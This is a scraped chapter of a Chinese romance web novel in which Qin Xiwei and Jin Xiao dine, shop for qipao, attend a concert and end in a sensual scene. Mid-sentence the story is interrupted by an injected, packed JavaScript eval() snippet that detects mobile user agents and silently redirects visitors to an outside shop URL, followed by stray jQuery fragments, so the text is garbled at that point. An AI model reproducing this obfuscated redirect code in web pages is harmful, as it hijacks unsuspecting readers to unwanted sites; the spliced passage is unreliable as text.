秦曦微缓缓放下筷子,极其认真地看着他:“我不愿意。”
听到预料之中的答案,晋枭还是被气到了。
这已经是她第二次拒绝他了。
“你把我当成了谁?”是徐懂吗?
秦曦微不明所以地望着他,她根本就是装醉,能把他当谁啊?
等等,难道他觉得他是谁的替身?
他倒是给她提供了一个不错的拒绝理由。
她心里的白月光是需要存在的,但不能具象化,只能是个模糊的影子。
她轻咬下唇,筷子一下又一下地戳着盘子里的虾,就是不说话。
怒气在心里不断翻涌,晋枭“啪”地捏断的盛果汁的郁金香杯,指腹被碎口划出了血,染红了桌布。
秦曦微惊呼一声抓过他的手,连声喊着服务员,服务员见状连忙去取医药包。
晋枭垂眸看着她,她一脸焦急,握着他的手都在抖,更别提捏着酒精棉的手指了,颤个不停,根本不敢触碰他的伤口。
他用另一只手轻轻碰了碰她的脸,她转过脸来望着他,眼里都是惶然。
“你还是心疼我的,对不对?”他觉得自己肯定是生病了,一种疯狂想独占她的怪病。
“都什么时候了还说这种话,你闭嘴。”秦曦微简直气不打一处来,喝令他不要再说话,她真得很慌。
晋枭居然笑了,笑得光风霁月,眼里翻涌着她看不懂的情绪。
“没事,不疼。”不及她戳他心窝子的万分之一疼。
秦曦微紧紧抿着唇,小心的用摄子把里面的一大块碎玻璃夹出来,血又涌了一股出来,她把整瓶的云南白药往上倒,总算糊住了血,又用纱布将食指一圈一圈缠起来,缠了厚厚的一层才打了结。
晋枭抬起左手看了一眼,打趣道:“一点长进没有,包得还是这么丑。”
“我又不是护士,处理伤口这种事要什么长进?”秦曦微怼了他一句,说完,又恶狠狠地补了一句:“下次再受伤试试!”
她还是关心他的。
晋枭的心情忽然就好了起来,右手执筷给她夹了一块脆滑的山药,是她最喜欢的口感。
秦曦微心虚地瞄了他的手一眼,夹了块肉放到他面前,斟酌着开口:“听说男人......嗯......总是忘不了第一个女人,但是我们那次,嗯,是个意外,你不要有太重的心理负担,就当......就当是做了个春梦。”
听听,她说得都是什么不负责任的混账话。
晋枭神色不明地望着她,缓缓开口:“你的意思是......你当时不清醒?”
他原就怕本末倒置事情会朝着相反的方向发展,果然不出所料,他一时失控,苦水只能自己吞。
但要他倒回去,没可能。
秦曦微不敢看他,胡乱点点头,就让他以为自己酒后失德好了。
“原来如此。”晋枭看着她粉嫩的耳尖,若有所思。
吃完饭,距离音乐会开始还有一个多小时,两人便在附近的商场闲逛。
商场人很多,有人认出他们,偷偷拿手机拍照片发到网上,晋枭不但不阻止,还大方地走过去指指点点,嫌弃拍得不好,让他们重拍。很快,“晋枭和秦曦微手牵手逛商场”冲上了热搜,贴子下面清一色的羡慕,再没见到阴阳怪气的评论。
秦曦微面红耳赤,被他牵着拐进一家女装店,挑了几件衣服递给她:“进去试试。”
终于能摆脱被人围观的窘迫,她抓起衣服就钻进试衣间,根本没看清他给她挑了什么款式。直到她脱了自己的衣服,才发现,他挑得是清一色的旗袍,各种款式,各种颜色。
秦曦微拎出一条白色旗袍换上走了出去。
月白色的素缎旗袍柔软地贴着她的身体,腰身勾勒出一道流畅的弧线,走起路来,素白的缎面上漾开细碎的光纹,隐约可见暗纹织出的缠枝莲。
晋枭的目光下移,及膝的开衩在迈步时偶尔露出一线白皙的小腿肌肤,像瓷胎上划过的釉光。他忽然想起那晚抚过时的滑嫩,喉结轻微滚动。
秦曦微见他一直看着自己不动,又往前走了几步,问:“好看吗?”
晋枭回过神来,指尖轻捻,说了句:“好看。再去试试另外几件。”
他的回答太过敷衍,秦曦微撅着嘴重又走回试衣间,再出来,身上已经换了一条水红色旗袍,这款很短,只到膝盖,走动时能看到嫩白的大腿。
晋枭的目光落在她身上,久久没有离开。
她其实很适合艳丽的颜色,衣柜里却大多是浅色衣裙,以至于他一直把她当小女孩,但是,她早已经长大。
他的眼睛掠过圆润的弧度,淡淡地催促:“时间来不及了,那几件不用试了。”
晋枭让店员全部打包,一手牵着她,一手拎着十几个袋子出了门。
“为什么买这么多?我根本没机会穿旗袍,上班很不方便。”秦曦微一路走一路抱怨。
“有。”晋枭握着她的手紧了紧,扭头瞥了她一眼。
“有什么?”
“有机会穿。”
“不可能。”秦曦微还在絮絮念,她什么工伤性质难道自己不清楚吗?
晋枭也不反驳,只是更紧地抓住她的手。
入口处,他们意外遇到了徐懂和田脆。
秦曦微高兴地朝他们挥了挥手,长腿一迈就要跑过去,却被晋枭扯了回来,一只胳膊环上她的腰,轻轻捏了一下。她觉得痒,嗔了他一眼,轻拍了他的手一下。
徐懂从来没有像此刻这样怨自己的视力太好,将他们亲昵的小动作尽收眼底,一股酸涩涌上心头。
田脆看了他一眼,朝秦曦微做了个打电话的手势后对徐懂说:“我们进去吧。”
徐懂和晋枭隔空对望一眼,彼此都看懂了对方眼里的挑衅。
“你怎么不让我过去打招呼。”秦曦微抱怨地想要扯开他搂着腰的胳膊,徒劳无功。
晋枭搂着她往音乐厅里走,说出的话全是关心:“人太多了,怕你被人撞到。”
笑话,他怎么可能眼睁睁看着自己的女人花蝴蝶一样围着另一个男人打转,更何况那人还是她心里的人。
“那......音乐会结束我们四个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677539|207547||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人一起吃宵夜吧。”秦曦微想着就要给徐懂发信息,被晋枭夺过手机揣进自己兜里。
“太晚了,明天还要上班,你不是说明天要跟着徐懂出庭?”
起床困难户秦曦微立刻消停了。
晋枭唇角微勾,又把她往怀里拉了拉。
两人找到座位,刚坐下没一会儿,灯光暗了下去,整个音乐厅像沉入了深海,台上只留了一盏孤零零的谱架灯,橙黄色的光晕拢着指挥台,像一小块浮在水面上的孤岛。
秦曦微感觉手被人握住,随着音乐的韵律,手指在她的各个指间流连舞动,害得她根本没有办法沉浸其中,她忍无可忍,将他的手扔了回去,没一会儿,他的手又摸了过来,指尖在她的掌心划来划去,划得她心猿意马,心浮气躁。
一场音乐会听下来,她比在场上演奏的乐手还累。
晋枭看着她气鼓鼓的小脸,忍着笑,捏了两下,哄着:“请你吃宵夜赔罪好不好?”
秦曦微捂着自己那不争气的胃,恨恨地点头,一不小心就吃多了。
“你怎么不拦着我?”她睨了他一眼,这不像他平时的风格啊。
“你那么开心,我不忍心扫兴。”晋枭一脸无辜。
秦曦微怀疑地望着他,管东管西的人忽然不管她了,她还有点不习惯。
洗完澡,两个坐在沙发上消食,晋枭忽然说:“反正也不能睡觉,你去试试那几条旗袍,不合适明天去换。”
被他这么一提醒,秦曦微想起来还有几条旗袍没试呢,高高兴兴地就去换衣服,不一会儿,她扭扭捏捏地出来,在灯下停住。
“这件不太合适。”她的手摸了摸后腰。
晋枭抬眼,墨黑色的薄纱包裹着她,底下的肌肤若隐若现。领口到锁骨那一截是半透明的,纱上绣着疏疏几枝银线梅,枝叶沿着锁骨的走向蔓延,像墨汁滴进清水里慢慢洇开。
他记得这件,这件旗袍的后面......
“转过来。”声音沉沉。
秦曦微抬眸,站着没动。
晋枭朝着她走过来,她下意识想跑,却被他拽住胳膊,轻轻扭转,整个后背就这样落进了他的眼里。
整片后背只有一条细细的银链从颈后垂下来,连着腰部,其余全是薄纱。纱贴着脊柱那道凹槽,微微陷进去,像一层暗色的水覆在起伏的丘陵上。
他的眼神黯了下来,手轻轻扶住她的细腰,将她拉进怀里,唇落在了她裸/露的后背上。
灼热的呼吸烫得她一个激灵,秦曦微直觉危险,想要逃开,却感觉到他的胳膊箍得更紧了,他的体温透过薄纱熨烫着她的每一寸肌肤。
“卷宝,你现在清醒吗?”一字一句,充满了诱惑。
她不知道他为什么这么问,轻轻“嗯”了一声,声音出口,才发现那个字如小猫呜咽般,娇娇怯怯。
耳边的呼吸更重,他的指尖顺着那根银链缓缓滑动,不只是痒,还有酥麻,秦曦微的灵台只清明了一瞬,就被涌上来的浪潮吞没了,连什么时候被他抱进卧室的都不知道,只混沌地记得他一遍又一遍地问:“我够格做你的床伴吗?”